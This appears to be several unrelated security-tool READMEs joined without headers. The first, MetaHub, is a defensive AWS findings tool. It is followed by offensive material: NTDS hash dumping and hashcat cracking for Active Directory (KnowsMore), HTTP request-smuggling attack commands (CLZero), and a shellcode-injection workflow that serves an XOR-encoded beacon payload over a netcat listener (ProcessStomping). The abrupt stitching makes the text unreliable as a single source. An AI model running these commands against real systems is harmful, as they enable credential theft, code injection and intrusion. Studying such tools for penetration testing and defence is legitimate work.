Exposure evaluates the how the the affected resource is exposed to other networks. For example, if the affected resource is public, if it is part of a VPC, if it has a public IP or if it is protected by a firewall or a security group.
| Possible Statuses | Value | Description |
|---|---|---|
| ο΄ effectively-public | 100% | The resource is effectively public from the Internet. |
| ο restricted-public | 40% | The resource is public, but there is a restriction like a Security Group. |
| ο unrestricted-private | 30% | The resource is private but unrestricted, like an open security group. |
| ο launch-public | 10% | These are resources that can launch other resources as public. For example, an Auto Scaling group or a Subnet. |
| ο’ restricted | 0% | The resource is restricted. |
| ο΅ unknown | - | The resource couldn't be checked |
Access evaluates the resource policy layer. MetaHub checks every available policy including: IAM Managed policies, IAM Inline policies, Resource Policies, Bucket ACLS, and any association to other resources like IAM Roles which its policies are also analyzed . An unrestricted policy is not only an itsue itself of that policy, it afected any other resource which is using it.
| Possible Statuses | Value | Description |
|---|---|---|
| ο΄ unrestricted | 100% | The principal is unrestricted, without any condition or restriction. |
| ο΄ untrusted-principal | 70% | The principal is an AWS Account, not part of your trusted accounts. |
| ο unrestricted-principal | 40% | The principal is not restricted, defined with a wildcard. It could be conditions restricting it or other restrictions like s3 public blocks. |
| ο cross-account-principal | 30% | The principal is from another AWS account. |
| ο unrestricted-actions | 30% | The actions are defined using wildcards. |
| ο dangerous-actions | 30% | Some dangerous actions are defined as part of this policy. |
| ο unrestricted-service | 10% | The policy allows an AWS service as principal without restriction. |
| ο’ restricted | 0% | The policy is restricted. |
| ο΅ unknown | - | The policy couldn't be checked. |
Encryption evaluate the different encryption layers based on each resource type. For example, for some resources it evaluates if at_rest and in_transit encryption configuration are both enabled.
| Possible Statuses | Value | Description |
|---|---|---|
| ο΄ unencrypted | 100% | The resource is not fully encrypted. |
| ο’ encrypted | 0% | The resource is fully encrypted including any of it's associations. |
| ο΅ unknown | - | The resource encryption couldn't be checked. |
Status evaluate the status of the affected resource in terms of attachment or functioning. For example, for an EC2 Instance we evaluate if the resource is running, stopped, or terminated, but for resources like EBS Volumes and Security Groups, we evaluate if those resources are attached to any other resource.
| Possible Statuses | Value | Description |
|---|---|---|
| ο attached | 100% | The resource supports attachment and is attached. |
| ο running | 100% | The resource supports running and is running. |
| ο enabled | 100% | The resource supports enabled and is enabled. |
| ο’ not-attached | 0% | The resource supports attachment, and it is not attached. |
| ο’ not-running | 0% | The resource supports running and it is not running. |
| ο’ not-enabled | 0% | The resource supports enabled and it is not enabled. |
| ο΅ unknown | - | The resource couldn't be checked for status. |
Environment evaluates the environment where the affected resource is running. By default, MetaHub defines 3 environments: production, staging, and development, but you can add, remove, or modify these environments based on your needs. MetaHub evaluates the environment based on the tags of the affected resource, the account id or the account alias. You can define your own environemnts definitions and strategy in the configuration file (See Customizing Configuration).
| Possible Statuses | Value | Description |
|---|---|---|
| ο production | 100% | It is a production resource. |
| ο’ staging | 30% | It is a staging resource. |
| ο’ development | 0% | It is a development resource. |
| ο΅ unknown | - | The resource couldn't be checked for enviroment. |
Application evaluates the application that the affected resource is part of. MetaHub relies on the AWS myApplications feature, which relies on the Tag awsApplication, but you can extend this functionality based on your context for example by defining other tags you use for defining applications or services (like Service or any other), or by relying on account id or alias. You can define your application definitions and strategy in the configuration file (See Customizing Configuration).
| Possible Statuses | Value | Description |
|---|---|---|
| ο΅ unknown | - | The resource couldn't be checked for application. |
As part of the impact score calculation, we also evaluate the total ammount of security findings and their severities affecting the resource. We use the following formula to calculate this metric:
(SUM of all (Finding Severity / Highest Severity) with a maximum of 1)For example, if the affected resource has two findings affecting it, one with HIGH and another with LOW severity, the Impact Findings Score will be:
SUM(HIGH (3) / CRITICAL (4) + LOW (0.5) / CRITICAL (4)) = 0.875MetaHub reads your security findings from AWS Security Hub or any ASFF-compatible security scanner. It then queries the affected resources directly in the affected account to provide additional context. Based on that context, it calculates it's impact. Finally, it generates different outputs based on your needs.
Some use cases for MetaHub include:
MetaHub provides a range of ways to list and manage security findings for investigation, suppression, updating, and integration with other tools or alerting systems. To avoid Shadowing and Duplication, MetaHub organizes related findings together when they pertain to the same resource. For more information, refer to Findings Aggregation
MetaHub queries the affected resources directly in the affected account to provide additional context using the following options:
MetaHub supports filters on top of these context* outputs to automate the detection of other resources with the same issues. You can filter security findings affecting resources tagged in a certain way (e.g., Environment=production) and combine this with filters based on Config or Associations, like, for example, if the resource is public, if it is encrypted, only if they are part of a VPC, if they are using a specific IAM role, and more. For more information, refer to Config filters and Tags filters for more information.
But that's not all. If you are using MetaHub with Security Hub, you can even combine the previous filters with the Security Hub native filters (AWS Security Hub filtering). You can filter the same way you would with the AWS CLI utility using the option --sh-filters, but in addition, you can save and re-use your filters as YAML files using the option --sh-template.
If you prefer, With MetaHub, you can back enrich your findings directly in AWS Security Hub using the option --enrich-findings. This action will update your AWS Security Hub findings using the field UserDefinedFields. You can then create filters or Insights directly in AWS Security Hub and take advantage of the contextualization added by MetaHub.
When investigating findings, you may need to update security findings altogether. MetaHub also allows you to execute bulk updates to AWS Security Hub findings, such as changing Workflow Status using the option --update-findings. As an example, you identified that you have hundreds of security findings about public resources. Still, based on the MetaHub context, you know those resources are not effectively public as they are protected by routing and firewalls. You can update all the findings for the output of your MetaHub query with one command. When updating findings using MetaHub, you also update the field Note of your finding with a custom text for future reference.
MetaHub supports different Output Modes, some of them json based like json-inventory, json-statistics, json-short, json-full, but also powerfull html, xlsx and csv. These outputs are customizable; you can choose which columns to show. For example, you may need a report about your affected resources, adding the tag Owner, Service, and Environment and nothing else. Check the configuration file and define the columns you need.
MetaHub supports multi-account setups. You can run the tool from any environment by assuming roles in your AWS Security Hub master account and your child/service accounts where your resources live. This allows you to fetch aggregated data from multiple accounts using your AWS Security Hub multi-account implementation while also fetching and enriching those findings with data from the accounts where your affected resources live based on your needs. Refer to Configuring Security Hub for more information.
MetaHub uses configuration files that let you customize some checks behaviors, default filters, and more. The configuration files are located in lib/config/.
Things you can customize:
lib/config/configuration.py: This file contains the default configuration for MetaHub. You can change the default filters, the default output modes, the environment definitions, and more.
lib/config/impact.py: This file contains the values and it's weights for the impact formula criteria. You can modify the values and the weights based on your needs.
lib/config/reources.py: This file contains definitions for every resource type, like which CloudTrail events to look for.
MetaHub is a Python3 program. You need to have Python3 installed in your system and the required Python modules described in the file requirements.txt.
Requirements can be installed in your system manually (using pip3) or using a Python virtual environment (suggested method).
git clone git@github.com:gabrielsoltz/metahub.git
cd metahub
python3 -m venv venv/metahub
source venv/metahub/bin/activate
pip3 install -r requirements.txt
./metahub -h
deactivate
Next time, you only need steps 4 and 6 to use the program.
Alternatively, you can run this tool using Docker.
MetaHub is also available as a Docker image. You can run it directly from the public Docker image or build it locally.
The available tagging for MetaHub containers are the following:
latest: in sync with master branch<x.y.z>: you can find the releases here
stable: this tag always points to the latest release.For running from the public registry, you can run the following command:
docker run -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -hIf you are already logged into the AWS host machine, you can seamlessly use the same credentials within a Docker container. You can achieve this by either passing the necessary environment variables to the container or by mounting the credentials file.
For instance, you can run the following command:
docker run -e AWS_DEFAULT_REGION -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN -ti public.ecr.aws/n2p8q5p4/metahub:latest ./metahub -hOn the other hand, if you are not logged in on the host machine, you will need to log in again from within the container itself.
Or you can also build it locally:
git clone git@github.com:gabrielsoltz/metahub.git
cd metahub
docker build -t metahub .
docker run -ti metahub ./metahub -hMetaHub is Lambda/Serverless ready! You can run MetaHub directly on an AWS Lambda function without any additional infrastructure required.
Running MetaHub in a Lambda function allows you to automate its execution based on your defined triggers.
Terraform code is provided for deploying the Lambda function and all its dependencies.
The terraform code for deploying the Lambda function is provided under the terraform/ folder.
Just run the following commands:
cd terraform
terraform init
terraform applyThe code will create a zip file for the lambda code and a zip file for the Python dependencies. It will also create a Lambda function and all the required resources.
You can customize MetaHub options for your lambda by editing the file lib/lambda.py. You can change the default options for MetaHub, such as the filters, the Meta* options, and more.
Terraform will create the minimum required permissions for the Lambda function to run locally (in the same account). If you want your Lambda to assume a role in other accounts (for example, you will need this if you are executing the Lambda in the Security Hub master account that is aggregating findings from other accounts), you will need to specify the role to assume, adding the option --mh-assume-role in the Lambda function configuration (See previous step) and adding the corresponding policy to allow the Lambda to assume that role in the lambda role.
MetaHub can be run as a Security Hub Custom Action. This allows you to run MetaHub directly from the Security Hub console for a selected finding or for a selected set of findings.
The custom action will then trigger a Lambda function that will run MetaHub for the selected findings. By default, the Lambda function will run MetaHub with the option --enrich-findings, which means that it will update your finding back with MetaHub outputs. If you want to change this, see Customize Lambda behavior
You need first to create the Lambda function and then create the custom action in Security Hub.
For creating the lambda function, follow the instructions in the Run with Lambda section.
For creating the AWS Security Hub custom action:
For example, you can use aws configure option.
aws configureOr you can export your credentials to the environment.
export AWS_DEFAULT_REGION="us-east-1"
export AWS_ACCESS_KEY_ID= "ASXXXXXXX"
export AWS_SECRET_ACCESS_KEY= "XXXXXXXXX"
export AWS_SESSION_TOKEN= "XXXXXXXXX"If you are running MetaHub for a single AWS account setup (AWS Security Hub is not aggregating findings from different accounts), you don't need to use any additional options; MetaHub will use the credentials in your environment. Still, if your IAM design requires it, it is possible to log in and assume a role in the same account you are logged in. Just use the options --sh-assume-role to specify the role and --sh-account with the same AWS Account ID where you are logged in.
--sh-region: The AWS Region where Security Hub is running. If you don't specify a region, it will use the one configured in your environment. If you are using AWS Security Hub Cross-Region aggregation, you should use that region as the --sh-region option so that you can fetch all findings together.
--sh-account and --sh-assume-role: The AWS Account ID where Security Hub is running and the AWS IAM role to assume in that account. These options are helpful when you are logged in to a different AWS Account than the one where AWS Security Hub is running or when running AWS Security Hub in a multiple AWS Account setup. Both options must be used together. The role provided needs to have enough policies to get and update findings in AWS Security Hub (if needed). If you don't specify a --sh-account, MetaHub will assume the one you are logged in.
--sh-profile: You can also provide your AWS profile name to use for AWS Security Hub. When using this option, you don't need to specify --sh-account or --sh-assume-role as MetaHub will use the credentials from the profile. If you are using --sh-account and --sh-assume-role, those options take precedence over --sh-profile.
This is the minimum IAM policy you need to read and write from AWS Security Hub. If you don't want to update your findings with MetaHub, you can remove the securityhub:BatchUpdateFindings action.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"security hub:GetFindings",
"security hub:ListFindingAggregators",
"security hub:BatchUpdateFindings",
"iam:ListAccountAliases"
],
"Resource": [
"*"
]
}
]
}If you are running MetaHub for a multiple AWS Account setup (AWS Security Hub is aggregating findings from multiple AWS Accounts), you must provide the role to assume for Context queries because the affected resources are not in the same AWS Account that the AWS Security Hub findings. The --mh-assume-role will be used to connect with the affected resources directly in the affected account. This role needs to have enough policies for being able to describe resources.
The minimum policy needed for context includes the managed policy arn:aws:iam::aws:policy/SecurityAudit and the following actions:
tag:GetResourceslambda:GetFunctionlambda:GetFunctionUrlConfigcloudtrail:LookupEventsaccount:GetAlternateContactorganizations:DescribeAccountiam:ListAccountAliasesMetaHub can read security findings directly from AWS Security Hub using its API. If you don't use Security Hub, you can use any ASFF-based scanner. Most cloud security scanners support the ASFF format. Check with them or leave an issue if you need help.
If you want to read from an input ASFF file, you need to use the options:
./metahub.py --inputs file-asff --input-asff path/to/the/file.json.asff path/to/the/file2.json.asffYou also can combine AWS Security Hub findings with input ASFF files specifying both inputs:
./metahub.py --inputs file-asff securityhub --input-asff path/to/the/file.json.asffWhen using a file as input, you can't use the option --sh-filters for filter findings, as this option relies on AWS API for filtering. You can't use the options --update-findings or --enrich-findings as those findings are not in the AWS Security Hub. If you are reading from both sources at the same time, only the findings from AWS Security Hub will be updated.
MetaHub can generate different programmatic and visual outputs. By default, all output modes are enabled: json-short, json-full, json-statistics, json-inventory, html, csv, and xlsx.
The outputs will be saved in the outputs/ folder with the execution date.
If you want only to generate a specific output mode, you can use the option --output-modes with the desired output mode.
For example, if you only want to generate the output json-short, you can use:
./metahub.py --output-modes json-shortIf you want to generate json-short, json-full and html outputs, you can use:
./metahub.py --output-modes json-short json-full htmlShow all findings titles together under each affected resource and the AwsAccountId, Region, and ResourceType:
Show all findings with all data. Findings are organized by ResourceId (ARN). For each finding, you will also get: SeverityLabel, Workflow, RecordState, Compliance, Id, and ProductArn:
Show a list of all resources with their ARN.
Show statistics for each field/value. In the output, you will see each field/value and the number of occurrences; for example, the following output shows statistics for six findings.
You can create rich HTML reports of your findings, adding your context as part of them.
HTML Reports are interactive in many ways:
You can create CSV reports of your findings, adding your context as part of them.
Β
Similar to CSV but with more formatting options.
You can customize which Context keys to unroll as columns for your HTML, CSV, and XLSX outputs using the options --output-tag-columns and --output-config-columns (as a list of columns). If the keys you specified don't exist for the affected resource, they will be empty. You can also configure these columns by default in the configuration file (See Customizing Configuration).
For example, you can generate an HTML output with Tags and add "Owner" and "Environment" as columns to your report using the:
./metahub --output-modes html --output-tag-columns Owner EnvironmentYou can filter the security findings and resources that you get from your source in different ways and combine all of them to get exactly what you are looking for, then re-use those filters to create alerts.
MetaHub supports filtering AWS Security Hub findings in the form of KEY=VALUE filtering for AWS Security Hub using the option --sh-filters, the same way you would filter using AWS CLI but limited to the EQUALS comparison. If you want another comparison, use the option --sh-template Security Hub Filtering using YAML templates.
You can check available filters in AWS Documentation
./metahub --sh-filters <KEY=VALUE>If you don't specify any filters, default filters are applied: RecordState=ACTIVE WorkflowStatus=NEW
Passing filters using this option resets the default filters. If you want to add filters to the defaults, you need to specify them in addition to the default ones. For example, adding SeverityLabel to the default filters:
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEWIf a value contains spaces, you should specify it using double quotes: "ProductName="Security Hub"
You can add how many different filters you need to your query and also add the same filter key with different values:
Examples:
./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL SeverityLabel=HIGH./metaHub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW SeverityLabel=CRITICAL AwsAccountId=1234567890./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW Title="EC2.22 Unused EC2 security groups should be removed"./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceId="arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890"./metahub --sh-filters Id="arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.19/finding/01234567890-1234-1234-1234-01234567890"./metahub --sh-filters ComplianceStatus=FAILEDMetaHub lets you create complex filters using YAML files (templates) that you can re-use when needed. YAML templates let you write filters using any comparison supported by AWS Security Hub like "EQUALS' | 'PREFIX' | 'NOT_EQUALS' | 'PREFIX_NOT_EQUALS". You can call your YAML file using the option --sh-template <<FILE>>.
You can find examples under the folder templates
./metaHub --sh-template templates/default.ymlMetaHub supports Config filters (and associations) using KEY=VALUE where the value can only be True or False using the option --mh-filters-config. You can use as many filters as you want and separate them using spaces. If you specify more than one filter, you will get all resources that match all filters.
Config filters only support True or False values:
True or with data.False or without data.Config filters run after AWS Security Hub filters:
--sh-filters (or the default ones).--mh-filters-config, so it's a subset of the resources from point 1.Examples:
ResourceType=AwsEc2SecurityGroup) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW) only if they are associated to Network Interfaces (network_interfaces=True):./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-config network_interfaces=TrueResourceType=AwsS3Bucket) only if they are public (public=True):./metahub --sh-filters ResourceType=AwsS3Bucket --mh-filters-config public=FalseMetaHub supports Tags filters in the form of KEY=VALUE where KEY is the Tag name and value is the Tag Value. You can use as many filters as you want and separate them using spaces. Specifying multiple filters will give you all resources that match at least one filter.
Tags filters run after AWS Security Hub filters:
--sh-filters (or the default ones).--mh-filters-tags, so it's a subset of the resources from point 1.Examples:
ResourceType=AwsEc2SecurityGroup) with AWS Security Hub findings that are ACTIVE and NEW (RecordState=ACTIVE WorkflowStatus=NEW) only if they are tagged with a tag Environment and value Production:./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsEc2SecurityGroup --mh-filters-tags Environment=ProductionYou can use MetaHub to update your AWS Security Hub Findings workflow status (NOTIFIED, NEW, RESOLVED, SUPPRESSED) with a single command. You will use the --update-findings option to update all the findings from your MetaHub query. This means you can update one, ten, or thousands of findings using only one command. AWS Security Hub API is limited to 100 findings per update. Metahub will split your results into 100 items chucks to avoid this limitation and update your findings beside the amount.
For example, using the following filter: ./metahub --sh-filters ResourceType=AwsSageMakerNotebookInstance RecordState=ACTIVE WorkflowStatus=NEW I found two affected resources with three finding each making six Security Hub findings in total.
Running the following update command will update those six findings' workflow status to NOTIFIED with a Note:
./metahub --update-findings Workflow=NOTIFIED Note="Enter your ticket ID or reason here as a note that you will add to the finding as part of this update."
The --update-findings will ask you for confirmation before updating your findings. You can skip this confirmation by using the option --no-actions-confirmation.
You can use MetaHub to enrich back your AWS Security Hub Findings with Context outputs using the option --enrich-findings. Enriching your findings means updating them directly in AWS Security Hub. MetaHub uses the UserDefinedFields field for this.
By enriching your findings directly in AWS Security Hub, you can take advantage of features like Insights and Filters by using the extra information not available in Security Hub before.
For example, you want to enrich all AWS Security Hub findings with WorkflowStatus=NEW, RecordState=ACTIVE, and ResourceType=AwsS3Bucket that are public=True with Context outputs:
./metahub --sh-filters RecordState=ACTIVE WorkflowStatus=NEW ResourceType=AwsS3Bucket --mh-filters-checks public=True --enrich-findings
The --enrich-findings will ask you for confirmation before enriching your findings. You can skip this confirmation by using the option --no-actions-confirmation.
Working with Security Findings sometimes introduces the problem of Shadowing and Duplication.
Shadowing is when two checks refer to the same issue, but one in a more generic way than the other one.
Duplication is when you use more than one scanner and get the same problem from more than one.
Think of a Security Group with port 3389/TCP open to 0.0.0.0/0. Let's use Security Hub findings as an example.
If you are using one of the default Security Standards like AWS-Foundational-Security-Best-Practices, you will get two findings for the same issue:
EC2.18 Security groups should only allow unrestricted incoming traffic for authorized portsEC2.19 Security groups should not allow unrestricted access to ports with high riskIf you are also using the standard CIS AWS Foundations Benchmark, you will also get an extra finding:
4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389Now, imagine that SG is not in use. In that case, Security Hub will show an additional fourth finding for your resource!
EC2.22 Unused EC2 security groups should be removedSo now you have in your dashboard four findings for one resource!
Suppose you are working with multi-account setups and many resources. In that case, this could result in many findings that refer to the same thing without adding any extra value to your analysis.
MetaHub aggregates security findings under the affected resource.
This is how MetaHub shows the previous example with output-mode json-short:
"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
"findings": [
"EC2.19 Security groups should not allow unrestricted access to ports with high risk",
"EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports",
"4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389",
"EC2.22 Unused EC2 security groups should be removed"
],
"AwsAccountId": "01234567890",
"Region": "eu-west-1",
"ResourceType": "AwsEc2SecurityGroup"
}This is how MetaHub shows the previous example with output-mode json-full:
"arn:aws:ec2:eu-west-1:01234567890:security-group/sg-01234567890": {
"findings": [
{
"EC2.19 Security groups should not allow unrestricted access to ports with high risk": {
"SeverityLabel": "CRITICAL",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",
"Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
},
{
"EC2.18 Security groups should only allow unrestricted incoming traffic for authorized ports": {
"SeverityLabel": "HIGH",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",< br/> "Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
},
{
"4.2 Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389": {
"SeverityLabel": "HIGH",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",
"Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
},
{
"EC2.22 Unused EC2 security groups should be removed": {
"SeverityLabel": "MEDIUM",
"Workflow": {
"Status": "NEW"
},
"RecordState": "ACTIVE",
"Compliance": {
"Status": "FAILED"
},
"Id": "arn:aws:security hub:eu-west-1:01234567890:subscription/aws-foundational-security-best-practices/v/1.0.0/EC2.22/finding/01234567890-1234-1234-1234-01234567890",
"ProductArn": "arn:aws:security hub:eu-west-1::product/aws/security hub"
}
}
],
"AwsAccountId": "01234567890",
"AwsAccountAlias": "obfuscated",
"Region": "eu-west-1",
"ResourceType": "AwsEc2SecurityGroup"
}Your findings are combined under the ARN of the resource affected, ending in only one result or one non-compliant resource.
You can now work in MetaHub with all these four findings together as if they were only one. For example, you can update these four Workflow Status findings using only one command: See Updating Workflow Status
You can follow this guide if you want to contribute to the Context module guide.
KnowsMore officially supports Python 3.8+.
knowsmore --statsThis command will produce several statistics about the passwords like the output bellow
KnowsMore v0.1.4 by Helvio Junior
Active Directory, BloodHound, NTDS hashes and Password Cracks correlation tool
https://github.com/helviojunior/knowsmore
[+] Startup parameters
command line: knowsmore --stats
module: stats
database file: knowsmore.db
[+] start time 2023-01-11 03:59:20
[?] General Statistics
+-------+----------------+-------+
| top | description | qty |
|-------+----------------+-------|
| 1 | Total Users | 95369 |
| 2 | Unique Hashes | 74299 |
| 3 | Cracked Hashes | 23177 |
| 4 | Cracked Users | 35078 |
+-------+----------------+-------+
[?] General Top 10 passwords
+-------+-------------+-------+
| top | password | qty |
|-------+-------------+-------|
| 1 | password | 1111 |
| 2 | 123456 | 824 |
| 3 | 123456789 | 815 |
| 4 | guest | 553 |
| 5 | qwerty | 329 |
| 6 | 12345678 | 277 |
| 7 | 111111 | 268 |
| 8 | 12345 | 202 |
| 9 | secret | 170 |
| 10 | sec4us | 165 |
+-------+-------------+-------+
[?] Top 10 weak passwords by company name similarity
+-------+--------------+---------+----------------------+-------+
| top | password | score | company_similarity | qty |
|-------+--------------+---------+----------------------+-------|
| 1 | company123 | 7024 | 80 | 1111 |
| 2 | Company123 | 5209 | 80 | 824 |
| 3 | company | 3674 | 100 | 553 |
| 4 | Company@10 | 2080 | 80 | 329 |
| 5 | company10 | 1722 | 86 | 268 |
| 6 | Company@2022 | 1242 | 71 | 202 |
| 7 | Company@2024 | 1015 | 71 | 165 |
| 8 | Company2022 | 978 | 75 | 157 |
| 9 | Company10 | 745 | 86 | 116 |
| 10 | Company21 | 707 | 86 | 110 |
+-------+--------------+---------+----------------------+-------+
pip3 install --upgrade knowsmoreNote: If you face problem with dependency version Check the Virtual ENV file
There is no an obligation order to import data, but to get better correlation data we suggest the following execution flow:
All data are stored in a SQLite Database
knowsmore --create-dbWe can import all full BloodHound files into KnowsMore, correlate data, and sync it to Neo4J BloodHound Database. So you can use only KnowsMore to import JSON files directly into Neo4j database instead of use extremely slow BloodHound User Interface
# Bloodhound ZIP File
knowsmore --bloodhound --import-data ~/Desktop/client.zip
# Bloodhound JSON File
knowsmore --bloodhound --import-data ~/Desktop/20220912105336_users.jsonNote: The KnowsMore is capable to import BloodHound ZIP File and JSON files, but we recommend to use ZIP file, because the KnowsMore will automatically order the files to better data correlation.
# Bloodhound ZIP File
knowsmore --bloodhound --sync 10.10.10.10:7687 -d neo4j -u neo4j -p 12345678Note: The KnowsMore implementation of bloodhount-importer was inpired from Fox-It BloodHound Import implementation. We implemented several changes to save all data in KnowsMore SQLite database and after that do an incremental sync to Neo4J database. With this strategy we have several benefits such as at least 10x faster them original BloodHound User interface.
Note: Import hashes and clear-text passwords directly from NTDS.dit and SYSTEM registry
knowsmore --secrets-dump -target LOCAL -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEMNote: First use the secretsdump to extract ntds hashes with the command bellow
secretsdump.py -ntds ntds.dit -system system.reg -hashes lmhash:ntlmhash LOCAL -outputfile ~/Desktop/client_nameAfter that import
knowsmore --ntlm-hash --import-ntds ~/Desktop/client_name.ntdsknowsmore --word-list -o "~/Desktop/Wordlist/my_custom_wordlist.txt" --batch --name company_nameFirst extract all hashes to a txt file
# Extract NTLM hashes to file
nowsmore --ntlm-hash --export-hashes "~/Desktop/ntlm_hash.txt"
# Or, extract NTLM hashes from NTDS file
cat ~/Desktop/client_name.ntds | cut -d ':' -f4 > ntlm_hashes.txtIn order to crack the hashes, I usually use hashcat with the command bellow
# Wordlist attack
hashcat -m 1000 -a 0 -O -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" "~/Desktop/Wordlist/*"
# Mask attack
hashcat -m 1000 -a 3 -O --increment --increment-min 4 -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" ?a?a?a?a?a?a?a?aknowsmore --ntlm-hash --company clientCompanyName --import-cracked ~/Desktop/cracked.txtNote: Change clientCompanyName to name of your company
As the passwords and his hashes are extremely sensitive data, there is a module to replace the clear text passwords and respective hashes.
Note: This command will keep all generated statistics and imported user data.
knowsmore --wipeDuring the assessment you can find (in a several ways) users password, so you can add this to the Knowsmore database
knowsmore --user-pass --username administrator --password Sec4US@2023
# or adding the company name
knowsmore --user-pass --username administrator --password Sec4US@2023 --company sec4usIntegrate all credentials cracked to Neo4j Bloodhound database
knowsmore --bloodhound --mark-owned 10.10.10.10 -d neo4j -u neo4j -p 123456To remote connection make sure that Neo4j database server is accepting remote connection. Change the line bellow at the config file /etc/neo4j/neo4j.conf and restart the service.
server.bolt.listen_address=0.0.0.0:7687
A project for fuzzing HTTP/1.1 CL.0 Request Smuggling Attack Vectors.
Thank you to @albinowax, @defparam and @d3d else this tool would not exist. Inspired by the tool Smuggler all attack gadgets adapted from Smuggler and https://portswigger.net/research/how-to-turn-security-research-into-profit
For more info see: https://moopinger.github.io/blog/fuzzing/clzero/tools/request/smuggling/2023/11/15/Fuzzing-With-CLZero.html
usage: clzero.py [-h] [-url URL] [-file FILE] [-index INDEX] [-verbose] [-no-color] [-resume] [-skipread] [-quiet] [-lb] [-config CONFIG] [-method METHOD]
CLZero by Moopinger
optional arguments:
-h, --help show this help message and exit
-url URL (-u), Single target URL.
-file FILE (-f), Files containing multiple targets.
-index INDEX (-i), Index start point when using a file list. Default is first line.
-verbose (-v), Enable verbose output.
-no-color Disable colors in HTTP Status
-resume Resume scan from last index place.
-skipread Skip the read response on smuggle requests, recommended. This will save a lot of time between requests. Ideal for targets with standard HTTP traffic.
-quiet (-q), Disable output. Only successful payloads will be written to ./payloads/
-lb Last byte sync method for least request latency. Due to th e nature of the request, it cannot guarantee that the smuggle request will be processed first. Ideal for targets with a high
amount of traffic, and you do not mind sending multiple requests.
-config CONFIG (-c) Config file to load, see ./configs/ to create custom payloads
-method METHOD (-m) Method to use when sending the smuggle request. Default: POST
single target attack:
python3 clzero.py -u https://www.target.com/ -c configs/default.py -skipread
python3 clzero.py -u https://www.target.com/ -c configs/default.py -lb
Multi target attack:
python3 clzero.py -l urls.txt -c configs/default.py -skipread
python3 clzero.py -l urls.txt -c configs/default.py -lb
git clone https://github.com/Moopinger/CLZero.git
cd CLZero
pip3 install -r requirements.txt
A variation of ProcessOverwriting to execute shellcode on an executable's section
For a more detailed explanation you can read my blog post
Process Stomping, is a variation of hasherezadeβs Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.
These are the main steps of the ProcessStomping technique:
As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.
Select your target process and modify global variables accordingly in ProcessStomping.cpp.
Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
The shellcode blob can then be xored with a key-word and downloaded using a simple socket
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Deliver the xored blob upon connection
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
The sRDI blob will get erased after execution to remove unneeded artifacts.
To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.
Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.
Like its Windows counterpart, Winpmem, this is not a traditional memory dumper. Linpmem offers an API for reading from any physical address, including reserved memory and memory holes, but it can also be used for normal memory dumping. Furthermore, the driver offers a variety of access modes to read physical memory, such as byte, word, dword, qword, and buffer access mode, where buffer access mode is appropriate in most standard cases. If reading requires an aligned byte/word/dword/qword read, Linpmem will do precisely that.
Currently, the Linpmem features:
Cache Control is to be added in future for support of the specialized read access modes.
At least for now, you must compile the Linpmem driver yourself. A method to load a precompiled Linpmem driver on other Linux systems is currently under work, but not finished yet. That said, compiling the Linpmem driver is not difficult, basically it's executing 'make'.
